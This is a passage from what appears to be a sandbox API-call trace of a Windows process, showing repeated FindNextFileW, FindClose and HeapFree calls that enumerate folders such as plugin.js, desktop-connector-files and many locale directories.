dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0189.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.025] FindNextFileW (in: hFindFile=0x4121008, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0189.025] FindClose (in: hFindFile=0x4121008 | out: hFindFile=0x4121008) returned 1 [0189.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.026] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0189.026] FindClose (in: hFindFile=0x4121788 | out: hFindFile=0x4121788) returned 1 [0189.026] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.026] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0189.026] FindClose (in: hFindFile=0x4121288 | out: hFindFile=0x4121288) returned 1 [0189.026] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0189.027] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dc-annotations", cAlternateFileName="DC-ANN~1")) returned 1 [0189.027] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.027] FindNextFileW (in: hFindFile=0x41212c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0189.028] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.028] FindNextFileW (in: hFindFile=0x41212c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0189.028] FindClose (in: hFindFile=0x41212c8 | out: hFindFile=0x41212c8) returned 1 [0189.028] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0189.028] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop-connector-files", cAlternateFileName="DESKTO~2")) returned 1 [0189.028] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.028] FindNextFileW (in: hFindFile=0x41216c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0189.028] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.029] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0189.029] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.029] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0189.029] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.029] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0189.029] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.029] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0189.029] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.029] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0189.029] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.029] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0189.029] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.030] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0189.030] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.030] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0189.030] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.030] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0189.030] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.030] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0189.030] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.030] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0189.030] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.030] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0189.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.031] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0189.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.031] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0189.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.031] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0189.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.031] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0189.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.031] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0189.033] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.033] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0189.033] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.033] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0189.034] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.034] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0189.034] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.035] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0189.035] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.035] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0189.036] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.036] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0189.036] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.036] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0189.037] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.037] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0189.037] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.037] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0189.038] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.038] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0189.038] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.038] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0189.039] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.039] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0189.040] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.040] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0189.040] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.040] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, 